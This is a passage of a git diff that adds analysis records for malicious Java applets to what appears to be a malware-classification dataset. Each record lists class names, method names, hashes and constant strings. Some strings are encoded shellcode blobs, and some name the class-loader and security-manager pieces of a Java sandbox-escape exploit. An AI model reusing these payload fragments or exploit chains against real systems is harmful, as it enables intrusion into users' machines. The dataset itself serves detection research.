["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IZ,0L,PL,Pn,pL,PN,pL,PL,PK,YI,kE,PW,pu,PQ,Oq,to,Qv,PW,p7,ps,0l,KW,0D,Ll,Kr,PW,lN,MN,kU,8u,pM,PS,M6,lT,st,4U,SL,VX,kj,Sl,Kc,Xc,8l,Ky,gR,JW,t6,9i,xl,O5,PU,Pu,Px,bK,IC,X0,op,nw,pE,Pa,xb,Up,rp,lb,MP,Ti,ow,fN,ki,xJ,H0,yu,Pw,pu,PL,KX,WR,gO,p7,O7,pR,Ux,zP,G6,7W,7M,Pg,Ow,p2,U9,jL,Kx,oQ,O4,sh,Im,Qz,L5,TU,QE,PW,pL,Ki,LB,qR,rp,Sr,HV,dU,QW,ps,0y,oR,vt,L3,jV,9P,QP,RL,KU,Rp,Sp,Co,pg,KU,P4,5K,JO,qs,Ki,lt,n2,Ed,8r,Eq,e5,Sm,S8,kT,HN,ig,s8,G1,SS,4t,nR,EQ,hr,Ek,vb,cs,8W,p3,km,Z9,QG,t4,pM,XG,5g,pp,3o,0P,P0,Pp,Sp,W2,pK,OR,vV,pn,cJ,Xw,pa,eC,6B,J3,1B,sK,Of,6g,ta,J0,Yn,cI,Rw,tC,qM,Pt,z7,pp,uO,Dy,or,v7,xp,QS,fL,Kr,Ue,lL,Kr,Tf,UP,xU,SJ,Ub,vl,K2,VW,Pc,3k,ET,s9,Y0,IS,qN,MS,3K,uT,s9,K6,om,nF,pu,hh,rr,TS,8i,QZ,kF,mw,sx,ZQ,P8,kx,q7,Kw,oP,uM,7q,Nl,K3,nq,4W,sY,M0,fL,KT,LR,kN,kq,Nu,Lu,SY,Ml,K4,Dl,KS,3x,EN,Ka,NQ,IJ,c9,xW,pk,Ok,OY,oL,NR,nv,nx,ll,Xk,NL,JT,NS,Nz,xk,R4,3D,sz,jM,Z1,Kw,Fu,Jv,OP,pp,Oc,z3,Zv,6u,Pq,xr,TQ,dD,0d,zD,ot,ot,63,Y0,pv,MD,qE,aV,QP,7v,NU,3p,op,md,oR,Cp,gq,yV,M1,r3,Y0,nF,OR,CP,op,ob,Lr,Es,Bv,Nc,Qt,32,Pa,hW,Oq,YP,DU,mv,Rt,p0,8F,Yf,We,vC,Vc,RU,m0,WP,Vp,Rr,Vc,UB,uD,yT,5E,4a,Xr,PP,Pp,ar,M5,3f,Rv,3S,g6,Uv,71,ub,L2,P2,yQ,Cp,md,4p,Zv,7Q,Vs,zp,oP,Sv,7P,pD,ps,QS,ud,y2,Qr,tp,T0,Zb,Lp,Mt,pV,Pu,br,tC,gT,0R,V3,QC,g2,fQ,Hb,uV,7p,lV,0p,MV,Pv,Pv,Rs,dp,0P,Rp,vS,Qr,uv,QQ,ES,eP,TR,rr,ou,12,Lc,fT,sp,Tr,vf,2Q,VC,QV,5P,8a,jP,TR,tP,ZP,NQ,Fq,UB,KG,B2,sr,wU,ag,7C,QW,Bp,Rt,4r,vB,N2,LP,kp,R7,BP,xv,VV,7p,lc,i6,UQ,s1,Vb,Ps,tq,CF,4a,tC,Zc,UR,Me,hp,yV,4e,br,Lr,jC,UR,eT,qp,EQ,C6,8c,Xp,NV,6g,74,42,P0,Tb,ZB,n0,Np,Nr,KW,ER,ep,b6,Rb,LQ,x0,Mt,pS,zT,s6,9r,v0,NS,zB,n6,Qs,b2,Qp,dp,D2,LQ,zq,ur,Mp,97,F3,dp,2r,Lp,KQ,tR,f2,Pq,UR,v0,Wp,lP,P0,MF,PT,pF,RP,T6,8D,0r,jR,nr,KR,L1,aB,zC,wQ,dr,nq,Bg,7P,MP,xs,dp,X4,0a,ZP,Np,U4,qQ,XV,3p,mB,Xb,pR,rv,Pr,LP,4S,db,LP,Rg,2R,nQ,Fb,LP,tR,rF,4b,bS,ju,1r,MP,cC,JC,d0,ls,bP,kr,Bb,eV,Q2,u2,qR,Ms,XR,nr,mR,KP,5p,pP,S0,W4,06,Pr,os,aW,UD,s1,Tt,eP,3g,46,O2,NV,Pd,pv,RU,at,pV,Vt,r6,P6,QW,Cv,P7,DD,24,pV,Tf,PT,yP,Jv,Q5,at,pD,pt,p7,FT,pu,aq,BD,vT,uG,CD,st,s5,i1,vT,uF,7c,SF,Vs,R0,5p,7Q,qg,DC,SV,83,R5,iP,bU,1s,RT,uP,4U,3P,YU,66,RP,4F,QU,gs,Uq,tU,gR,zt,p4,qd,pd,pa,vP,04,w4,pu,PE,PA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d4e9e08dc499f58207492ff8a46909af7d523081", "file_name": "java_malicious/e2c6bea5421ed536fe5f73bcb3860d027fcc582d2c058797e1b23b3010fcf22f", "_id": "b23c6fdb-4689-44f3-9173-8c05167ce61b", "score": 0, "entropy": 5.9669602228294565, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 4050, "ssdeep": "96:HFlp1HKBfEtJ9F/vSgKhaLATDE2iTULNkez1zNjWZ:llp1H+fED9F/v0ha0Q5ApnJNiZ", "sha256": "e2c6bea5421ed536fe5f73bcb3860d027fcc582d2c058797e1b23b3010fcf22f", "md5": "95e2d80ea6d4a7f83e92c47af0fcf019", "parent_sha256": "e2c6bea5421ed536fe5f73bcb3860d027fcc582d2c058797e1b23b3010fcf22f"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e32e122112d5f62c93c224f126251c44e6066bfa5f54081ca4b7c6debe0c6efc.results b/java_classification/data/malicious/e32e122112d5f62c93c224f126251c44e6066bfa5f54081ca4b7c6debe0c6efc.results new file mode 100755 index 0000000..0a6c9ce --- /dev/null +++ b/java_classification/data/malicious/e32e122112d5f62c93c224f126251c44e6066bfa5f54081ca4b7c6debe0c6efc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "FUJsja.java", "class_name": "ZTGTMeuuo/FUJsja", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "MNHuU"], "minor_version": 0, "const_pool_count": 348}}, "_id": "99052842-abe0-4142-9f31-f7c57c3153b5", "verbose": {"java": {"constant strings": ["75 ", "*&\\'*\\'", " 4$65"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "51bd48ba6650ecdbc8bd0b06ad269977eb2bf780", "file_name": "java_malicious/e32e122112d5f62c93c224f126251c44e6066bfa5f54081ca4b7c6debe0c6efc", "_id": "99052842-abe0-4142-9f31-f7c57c3153b5", "score": 0, "entropy": 5.161667103170692, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6412, "ssdeep": "48:9Jx8YsRxAN7WLGhsHi93IjmGQTMTATUyFlVERsa8qJ2jRavrRFFdK+/9qT7bpR7u:9ICfvRlFlux8+QRalFHK+qbXJjk9", "sha256": "e32e122112d5f62c93c224f126251c44e6066bfa5f54081ca4b7c6debe0c6efc", "md5": "1b213c9bec4d31ad99fae101f11e91aa", "parent_sha256": "e32e122112d5f62c93c224f126251c44e6066bfa5f54081ca4b7c6debe0c6efc"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e35aba15989c4b382c4a325325d5ad3841bdc6175bd5f54c94e8cfc68e0ea44a.results b/java_classification/data/malicious/e35aba15989c4b382c4a325325d5ad3841bdc6175bd5f54c94e8cfc68e0ea44a.results new file mode 100755 index 0000000..9e53969 --- /dev/null +++ b/java_classification/data/malicious/e35aba15989c4b382c4a325325d5ad3841bdc6175bd5f54c94e8cfc68e0ea44a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "mbWTlxsN.java", "class_name": "ZTGTMeuuo/wKITIqd", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "PeRDH", "OrderIfInvoke", "FUhaZ", "amOhXFRkF", "irKuI", "oVrkZ", "mIjtdfiK", "vGmWqnvT", "AddEdPKWj"], "minor_version": 0, "const_pool_count": 140}}, "_id": "3390a81d-e7aa-435b-a4f8-eec26377b789", "verbose": {"java": {"constant strings": ["", "\\x1a\\x1d*\\x145\\x07\\t=6", "&<\\x1f8\\x1c\\x02\\x11\"", "&4\\x17\\x17\\t\\x10", "&!?", "=6$\\x1a= \\'2=06"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c4a27d3e81ed365906d38ebbc7c8c4c6881eda42", "file_name": "java_malicious/e35aba15989c4b382c4a325325d5ad3841bdc6175bd5f54c94e8cfc68e0ea44a", "_id": "3390a81d-e7aa-435b-a4f8-eec26377b789", "score": 0, "entropy": 5.757480539723674, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3293, "ssdeep": "96:WgIFl8PoxwxiL3iKO2Ul2612iz0FjWU1De:Wg6l+C4+3iy82gABc", "sha256": "e35aba15989c4b382c4a325325d5ad3841bdc6175bd5f54c94e8cfc68e0ea44a", "md5": "173c158353a47d0354e674841e107f10", "parent_sha256": "e35aba15989c4b382c4a325325d5ad3841bdc6175bd5f54c94e8cfc68e0ea44a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e36dcf7180b63668766fb4b54e75ad3af6991095ae4d36aa575c98ed36f8a146.results b/java_classification/data/malicious/e36dcf7180b63668766fb4b54e75ad3af6991095ae4d36aa575c98ed36f8a146.results new file mode 100755 index 0000000..9d69d23 --- /dev/null +++ b/java_classification/data/malicious/e36dcf7180b63668766fb4b54e75ad3af6991095ae4d36aa575c98ed36f8a146.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "21217549-f1f1-40f0-8320-25b7650c4a43", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pL,Pn,pL,PN,pN,pL,Pl,Pm,9Y,kw,p5,PC,0S,oq,tY,1V,PW,pe,Pu,PL,KC,pt,Ln,kP,pE,LN,ML,Ku,87,PO,pq,m6,lV,Sp,te,SN,v8,kL,3n,kP,he,Xl,KZ,Wc,ZE,T3,i9,xL,Ow,pw,pe,P9,ry,iC,X2,Op,ng,p7,p5,8a,eC,BP,lr,Mq,D9,o4,VN,kI,xZ,HR,Yu,Pu,Pg,pn,kK,gg,7o,pe,ou,P2,Ux,zc,w1,GS,wM,Pe,ow,pR,UJ,ZL,Kx,os,oU,c9,YM,QJ,L6,dw,qc,0E,PN,kk,lB,qR,rP,Ss,X5,Tv,a7,p3,0y,oa,F4,Lq,JP,Y2,qp,RN,k7,r0,Sa,So,pE,kG,pc,EK,JM,QQ,kk,Lv,Nr,EP,xC,UB,Ue,Sk,3j,Ku,XO,y7,sz,g7,3d,DV,NC,US,H5,5K,vP,CU,XW,pq,Kl,Jy,QW,tP,0L,Ha,Ug,p0,3K,pp,P0,PF,3V,7r,py,o0,Vv,pO,sL,8W,pp,uW,vs,ZE,Qb,sK,O0,Vc,4q,JP,YN,cO,2w,t1,Qo,pW,J7,p0,uL,tk,O3,f5,Xb,q2,vL,Ks,E7,Ll,KP,tU,e0,xc,3l,5p,Vl,KR,Vu,pU,SJ,Uf,So,91,YR,al,mF,co,5w,C9,KV,oO,NR,0e,hL,2T,4S,8O,1X,Kd,Ms,3j,z1,PJ,KH,qW,K7,op,uZ,GQ,NN,kc,nt,dW,sy,MU,6N,kt,LP,Kl,KQ,Nu,Lt,Ck,mL,Kg,tl,Kd,Cx,En,KC,nS,iX,CM,87,py,oK,OY,oN,np,Nd,NH,ln,xK,NM,Z6,nC,NH,XY,rR,S5,ch,JO,za,Kv,VT,Zt,op,pa,Tr,bP,dp,qE,P1,xQ,dC,DR,PD,zv,OT,oQ,uP,xd,4Q,uS,Br,Ns,Qb,LF,Nc,Yc,Wp,nb,O4,2s,UP,lQ,yq,cT,46,NP,c0,o2,MD,o2,Ip,np,fb,OV,Oa,e4,3t,qT,nP,hp,tR,M2,L6,O2,NV,P0,0p,2U,af,Pu,bg,C4,pF,T6,X4,pt,wr,Rp,04,t4,pf,YS,zV,QT,qP,06,P4,pP,6V,Pv,QP,Rq,vt,yp,cT,rQ,su,5C,VP,43,gs,UE,34,uF,Vv,Yu,6p,2u,gP,XP,cV,WV,Q0,6E,fP,7P,5P,80,Y0,8U,31,ss,Ru,hF,YE,6f,Xp,Zf,Pt,st,pp,07,Cq,v4,st,vW,ps,0A,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6f0a261ddac7f9f54c68f69519ab33f8952d9f66", "file_name": "java_malicious/e36dcf7180b63668766fb4b54e75ad3af6991095ae4d36aa575c98ed36f8a146", "_id": "21217549-f1f1-40f0-8320-25b7650c4a43", "score": 0, "entropy": 6.116728154574611, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3222, "ssdeep": "96:HFlltmb/oKX1HekcQtQTDE2iTULNkez1zNjWZ:llGb/oK1dcRQ5ApnJNiZ", "sha256": "e36dcf7180b63668766fb4b54e75ad3af6991095ae4d36aa575c98ed36f8a146", "md5": "1eea06b752aa4c63ef69fbb151338364", "parent_sha256": "e36dcf7180b63668766fb4b54e75ad3af6991095ae4d36aa575c98ed36f8a146"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e38ab1eb4fbf334414fbf16571429d350f92ca4073e8d4a8bdede994ef1a05e8.results b/java_classification/data/malicious/e38ab1eb4fbf334414fbf16571429d350f92ca4073e8d4a8bdede994ef1a05e8.results new file mode 100755 index 0000000..b9fd8a4 --- /dev/null +++ b/java_classification/data/malicious/e38ab1eb4fbf334414fbf16571429d350f92ca4073e8d4a8bdede994ef1a05e8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/jkqrqm", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "fufxqisw", ""], "minor_version": 0, "const_pool_count": 443}}, "_id": "f510b023-8106-4071-905a-3b4860575a53", "metadata": {"mimetype": "application/x-java-applet", "sha1": "7ccd6836da22a9152beb61d13acfe35d58aa6819", "file_name": "java_malicious/e38ab1eb4fbf334414fbf16571429d350f92ca4073e8d4a8bdede994ef1a05e8", "_id": "f510b023-8106-4071-905a-3b4860575a53", "score": 0, "entropy": 5.190923053421437, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6834, "ssdeep": "192:LHqusY2XAwdHyJysPC58so55UTYwa5hG5:bsY2wqHy0IC8sofUTkk", "sha256": "e38ab1eb4fbf334414fbf16571429d350f92ca4073e8d4a8bdede994ef1a05e8", "md5": "46ac4e3f6d3840efeeed1c800e418fd7", "parent_sha256": "e38ab1eb4fbf334414fbf16571429d350f92ca4073e8d4a8bdede994ef1a05e8"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e39ce04426b1066734e4e4421c1675e3102e3502e6c481813dda2dad6475c6bc.results b/java_classification/data/malicious/e39ce04426b1066734e4e4421c1675e3102e3502e6c481813dda2dad6475c6bc.results new file mode 100755 index 0000000..e5651ac --- /dev/null +++ b/java_classification/data/malicious/e39ce04426b1066734e4e4421c1675e3102e3502e6c481813dda2dad6475c6bc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/fctqxnmzptadi", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "yvepqqsigeh", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "f674ae46-e2ea-4454-ae01-162da23b4f5f", "metadata": {"mimetype": "application/x-java-applet", "sha1": "f0490c965b2eaa473f7cfdb32e152ba7f5fe1916", "file_name": "java_malicious/e39ce04426b1066734e4e4421c1675e3102e3502e6c481813dda2dad6475c6bc", "_id": "f674ae46-e2ea-4454-ae01-162da23b4f5f", "score": 0, "entropy": 5.200856944144513, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6931, "ssdeep": "192:T3toPxwN8V7Kap8xhi/To55UTYwa5hGX1:btoZwihKy8yTofUTkc1", "sha256": "e39ce04426b1066734e4e4421c1675e3102e3502e6c481813dda2dad6475c6bc", "md5": "3d65b60776154be675005328acba44ad", "parent_sha256": "e39ce04426b1066734e4e4421c1675e3102e3502e6c481813dda2dad6475c6bc"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e4ee065afd6d621bb97298ba293354751a763b93c137dceebe13ab7f039e1916.results b/java_classification/data/malicious/e4ee065afd6d621bb97298ba293354751a763b93c137dceebe13ab7f039e1916.results new file mode 100755 index 0000000..9018157 --- /dev/null +++ b/java_classification/data/malicious/e4ee065afd6d621bb97298ba293354751a763b93c137dceebe13ab7f039e1916.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["", "start", "getMethod", "gimmeClass"], "minor_version": 0, "const_pool_count": 144}}, "_id": "403668bd-29c4-423d-8ac8-57a6374bc744", "verbose": {"java": {"constant strings": ["B.class", "sun.org.mozilla.javascript.internal.Context", "enter", "createClassLoader", "sun.org.mozilla.javascript.internal.GeneratedClassLoader", "defineClass", "declaredMethods", "", "com.sun.jmx.mbeanserver.MBeanInstantiator", "findClass"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4d777665bbf30d220a172963c8ef8185647cad35", "file_name": "java_malicious/e4ee065afd6d621bb97298ba293354751a763b93c137dceebe13ab7f039e1916", "_id": "403668bd-29c4-423d-8ac8-57a6374bc744", "score": 10, "entropy": 5.678398010424634, "libmagic": "compiled Java class data, version 51.0", "file_size": 2744, "ssdeep": "48:Q9fJeX3yFlX/+QfNP0CH6eBFXjornn6wtj6SMVVL3h3o6isbuSRd:zSFlznHdHMzzjNMVVLxYfsPb", "sha256": "e4ee065afd6d621bb97298ba293354751a763b93c137dceebe13ab7f039e1916", "md5": "f85b969982db107ed84e73e5c3504aa7", "parent_sha256": "e4ee065afd6d621bb97298ba293354751a763b93c137dceebe13ab7f039e1916"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e5cddf68d93fdc9fb4e3f140db956d522f71c94a547014269eec9fd4734960c5.results b/java_classification/data/malicious/e5cddf68d93fdc9fb4e3f140db956d522f71c94a547014269eec9fd4734960c5.results new file mode 100755 index 0000000..b9991ff --- /dev/null +++ b/java_classification/data/malicious/e5cddf68d93fdc9fb4e3f140db956d522f71c94a547014269eec9fd4734960c5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "y", "class_name": "x/l", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 50, "method_names": ["", "gr"], "minor_version": 0, "const_pool_count": 255}}, "_id": "778da653-ab19-47b8-96e7-8543be66ebe0", "verbose": {"java": {"constant strings": ["x.p", "T\\x03-\\rGf\\x0b.L", "mk\\x0b5\\t\\x10JU\\'5\\x06b\\xc0\\x80\\x16/\\x0e]\\x18%f", "_%\\x16\\x07\\x12/1S\\x078K", "\\nwHr\\x0es\\x11", "#G\"\\x1ct\\x0ev+{Q", "\\x03\\tn\\x1a\\x01\\x08\\x16H\\x08\\x16t\\x17Z\\x198d", "\\x01V M1(<7,@\\x0b\\x06\\x02M}&)\\x7f", "\\x17\\\\V\\x16\\x014P=?v\\x0cxVxD", "HD[\\xc0\\x80\\x11", " !\\x04 g8sJ", "\\x07bp+\\n8O\\x19:T", "uX}.a;qo", "=Z1\\x18\\x0e\\x02s\\x04\\x06t", "\\x1az1km:\\x11\\x08Mx\\x0fyD", "8u\\x14\\x16x3K\\x1c|T", "\\x16\\x1cYUL\\x028\\x01y`\\x1e\\x0e\\tb4$\\x13", "?\\x1df\\t\\x04j", "R\\x01\\x1a\\x12L{Q-\\x06:\\x12uL", "7\\x1cs%ha\\xc0\\x804&B^\\x02~C", "d;(8]e!\\x1496B\\x12$\\r\\x04W\\x01\\n^", "U\\x08P=T\\r\\x11^\"\\x03\\x15", "eZ.\\x02\\x04*<*~R$z\\x1e\\n\\x13\\t]\\x07\\x1cu", "\\x16\\'T\\x03!?*\\x1bt", ">\\x0e\\x1dW.5(\\x11Sc@5\\x11T\\x02\"N", "7\\x1d[is:R/\\x08[\\x039\\x10", "/\\x12q#U\\x1a,gV\\x1dP", "*\\x033H\\t(\\x05\\x08q\"\\x1a\\x16VG&\\xc0\\x80r", "t\\x06u\\x08\\x11o\"\\x19(\\tP\\t\\x04_", "\\'6\\'\\x01B-\\x16#lA#\\x04\\x0c4J\\x0f\\x19q", "\"< d\\x01\\x17\\x03\\x15L\\x0c~\\x17", "1\\x1e \\xc0\\x80@=\\x054\\x19{_\\nS", "\\x11eR\\x17S", "&\\x02\\x0c\\x1c\\x7f\\xc0\\x80*2\\x1al\\r\\x08_", ">\\x1f6\\x05%\\x18F6~\\x07<_\\x1bW1\\nk?+J", "\\r\\x05n98u=A*=l", "\\x14\\x1d\\x02J}\\x06!\\x13-]\\x07\\x0b\\x12>eU\\x10i", ">\"Og ~F", "t\\x08\\x12[/>\\x19ND\\x15:J", "?)F\\x1dq>#j\\r)5\\x186\"\\x1a\\x10", "=\\t\\n&\\x16\\x16#\\x17\\\\\\x0b\\x1ai?rF (>W7@", "\\x128^q\\x1ba=\\x12b3\\x0c/\\x13R?\\'\\x12", ":\\rR/\\x16\\x05\\x110,)w", "q\\x19-U\\x1d~<\\r;/N\\x02 \\x7f", "\\x04Nr.-a", "Z\\'/-g`\\'<\\x18MF\\n\\x17\\x13", ">UU#\\rm\\x1c+]\\x121y8\\x1aC", "\\x1f\\x1a\\x0b_\\'/~", "\\r\\x1a{\\x1b\\x05\"+k8\\x04*O}Z\\x03\\x1f", "(d\\x05\\x16\\x11", "< D\\nu]", "\\x17j$\\x03D", "\\x117\\n\\\\50\\x1c$Ga3a\\x12\\\\\\x1ehS", "\\\\y#\\x05Od\\x12<\\x1e", "#\\x07\\x18D9\\'W", "\\x143}|\\x06v\\x02Z_\\x12B", "/,\\x0f\\x13U[\\x10l", "B|!6\\x1d<75\\x16}*\\x0es", "\\x1cj:wc", "\\x11\\x1dB4\\x07\\r\\x10X*V\\x17\\x16~\\x0b\\xc0\\x80K", "\\x0f%)h\\x16\\x1c\\x15\"&A;%v", "\\x04\"1R\\x1d\\ru", "\\\\%\\x11_\\xc0\\x80\\x7f\\x15", "14\\x06.S]4_", "b\\x7f&,:D,\\x0f\\x1e", "\\x1c,\\x1182|;*J", "l;\\x15\\x0f\\x1eCN\\n&\\x13W\\x081m\\x07hV\\x0bC", "\\x0e6\\x1f\\x15`7=r", "\\x11,3Ic\\x1bq\\x120A{#0+c\\t\\x02T", "\\x13L\\x14\\x1d\\x1b\\x086#", "Tepeder", "Kanaza", ""], "minor_version": 0, "const_pool_count": 128}}, "_id": "5e41e66c-9446-443c-b698-c5dd2de24f16", "verbose": {"java": {"constant strings": ["jWava.seWcurWity.AWllPWermWisWsioWn", "java.security.", "java.security.PermissionCollection", "java.security.ProtectionDomain", "jaWva.iWo.FileWOWutputStrWeam", "WraWndWomW"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "74108fab7f38e44405fc1cc862fed57c6fdfca5a", "file_name": "java_malicious/e6471410dc65a92708d7b86ce3eb72c5fba707115a96f5d06fdd736cf13a17b6", "_id": "5e41e66c-9446-443c-b698-c5dd2de24f16", "score": 0, "entropy": 5.571188875322459, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1998, "ssdeep": "24:BAGboVd1ByQWrw3O90U8vtEpt/6gBb/gtL8GVS1/S9H2or9dzIBCl/:7b+1ByFD90zvtEptygBCLVe2H2o0wt", "sha256": "e6471410dc65a92708d7b86ce3eb72c5fba707115a96f5d06fdd736cf13a17b6", "md5": "c2115a103094f67aa4bce039f087ed5b", "parent_sha256": "e6471410dc65a92708d7b86ce3eb72c5fba707115a96f5d06fdd736cf13a17b6"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e6884ad1079d873569659bce0ffdcfd392dfbf85d3f161b28a3ae8e951fd69c1.results b/java_classification/data/malicious/e6884ad1079d873569659bce0ffdcfd392dfbf85d3f161b28a3ae8e951fd69c1.results new file mode 100755 index 0000000..8864268 --- /dev/null +++ b/java_classification/data/malicious/e6884ad1079d873569659bce0ffdcfd392dfbf85d3f161b28a3ae8e951fd69c1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "a13d", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "sourcefile": "a13d.java", "method_names": ["", "run", "__W", "__S", "__m"], "minor_version": 0, "const_pool_count": 325}}, "_id": "005334ee-676b-4c9c-b78a-b27cc20904c4", "verbose": {"java": {"constant strings": ["", "_7ebae987847f71022", "_766a089e96411", "_ea079282555e36", "_299a1938fc5a4c", "_e3f6a363a7a3cf", "(=7<\\'", "_5bb00e1973ecc0c", "k+;*", "_4a7cdd1ff2519", "_c16e84face49b", "_641ad8a02c4ea80d", "_68648c56f890c", "_a7bbc36496b31e68", "_ba56e80f228c87f5", "_d2fab80355e91", "_84caef11999e05", "_7009cdd16bc51d", "\\x10=3|\\x1b;)+\"(<", "_af47733cba8ed8e0e", "_d3f4de5f75077df2", "_1d6bc0454a05c0", "_a1bc4b12b0386bbf", "_c69cefb9e145a0c", "_3330967feb19f7b", "_31b99d39a42f17d0d", "_0c39c6cfb65225f27", " 6&,", "_d4774d8cf436dcbb", "_d809de49ca8c05e18", "_58a33f99cea0612", "_9d5e147c8dc42a9f", "_a31d39a21ae15d01", "_1600222e27d49b3d6", "_4120c011288741", "_9b8cb56174bfb", "_1156814769398f", "_31a3d54828699b4", "java.io.tmpdir"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ad00116cce11f3d20916be1c2576cbda1d5aa161", "file_name": "java_malicious/e6884ad1079d873569659bce0ffdcfd392dfbf85d3f161b28a3ae8e951fd69c1", "_id": "005334ee-676b-4c9c-b78a-b27cc20904c4", "score": 0, "entropy": 5.794010081648712, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 8009, "ssdeep": "192:RlnU7fhO4HX250t5LbDmLb4yR6OTKB8U8YgkT:RWfhOI2GPDq43NEq", "sha256": "e6884ad1079d873569659bce0ffdcfd392dfbf85d3f161b28a3ae8e951fd69c1", "md5": "fa815a0de12642974f973cd47a84f7e2", "parent_sha256": "e6884ad1079d873569659bce0ffdcfd392dfbf85d3f161b28a3ae8e951fd69c1"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e689159260225af6f0ba9226c8bf0a31ca8c31046ef388765ca650d62fc64125.results b/java_classification/data/malicious/e689159260225af6f0ba9226c8bf0a31ca8c31046ef388765ca650d62fc64125.results new file mode 100755 index 0000000..46fe97a --- /dev/null +++ b/java_classification/data/malicious/e689159260225af6f0ba9226c8bf0a31ca8c31046ef388765ca650d62fc64125.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Lib.java", "class_name": "Lib", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "BSdr", "init", "OVny", "Btct", "Nuraj", "Jshe"], "minor_version": 0, "const_pool_count": 240}}, "_id": "8576b59b-0ee2-4fca-9075-f663aff4677c", "verbose": {"java": {"constant strings": ["os.arch", "", "64", "param", "java.version", "_", "1.7.0_", "1.6.0_", "setS", "ecurityManager"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5d210a7b30dea0423ed104b8a5bde9de17161625", "file_name": "java_malicious/e689159260225af6f0ba9226c8bf0a31ca8c31046ef388765ca650d62fc64125", "_id": "8576b59b-0ee2-4fca-9075-f663aff4677c", "score": 0, "entropy": 5.798935849501033, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4632, "ssdeep": "96:knWXJFlRZEJdXkXCVje/hR1K3zLVPG2dhWV5VMEPpw:SWXrlswXC8BK3tGo4JMEPi", "sha256": "e689159260225af6f0ba9226c8bf0a31ca8c31046ef388765ca650d62fc64125", "md5": "ae84fc3971f2ef85d1aa1d03b73d4bb2", "parent_sha256": "e689159260225af6f0ba9226c8bf0a31ca8c31046ef388765ca650d62fc64125"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e6895d31d393e8096995bcf2643fe595453eefabd6adedd61c5b4451347910ce.results b/java_classification/data/malicious/e6895d31d393e8096995bcf2643fe595453eefabd6adedd61c5b4451347910ce.results new file mode 100755 index 0000000..01d36d9 --- /dev/null +++ b/java_classification/data/malicious/e6895d31d393e8096995bcf2643fe595453eefabd6adedd61c5b4451347910ce.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "baxQQzwSn.java", "class_name": "pqsJxX/baxQQzwSn", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "YqQjYTxDl", "qUJHcMT", "init", "DMFiaBlG", "TFfRjWjJ", "proBL", "OzuAfDAroI", "paWAnHyOX", "add", "replace"], "minor_version": 0, "const_pool_count": 298}}, "_id": "7ca26d97-a214-4448-a3e2-5ea6eaa30154", "verbose": {"java": {"constant strings": 